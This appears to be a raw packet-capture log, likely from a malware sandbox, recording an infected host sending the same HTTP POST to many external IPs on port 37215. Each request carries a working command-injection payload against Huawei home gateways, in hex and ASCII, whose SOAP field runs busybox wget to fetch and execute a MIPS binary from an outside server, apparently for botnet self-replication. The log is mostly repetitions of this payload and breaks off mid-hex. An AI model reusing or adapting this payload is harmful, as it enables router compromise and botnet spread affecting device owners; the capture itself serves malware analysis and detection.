Jul 20, 2024 23:00:57.221366882 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	40150	41.226.72.201	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221482038 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	48608	175.193.29.172	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221503973 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	52232	197.155.27.254	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221503973 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	46632	197.17.13.46	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221503973 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	57708	41.143.175.164	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221529961 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	37826	41.76.26.43	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221549988 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	41818	207.93.222.13	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221549988 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	43680	157.254.68.190	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221556902 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	33418	197.127.202.249	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221564054 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	35138	197.213.7.238	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221582890 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 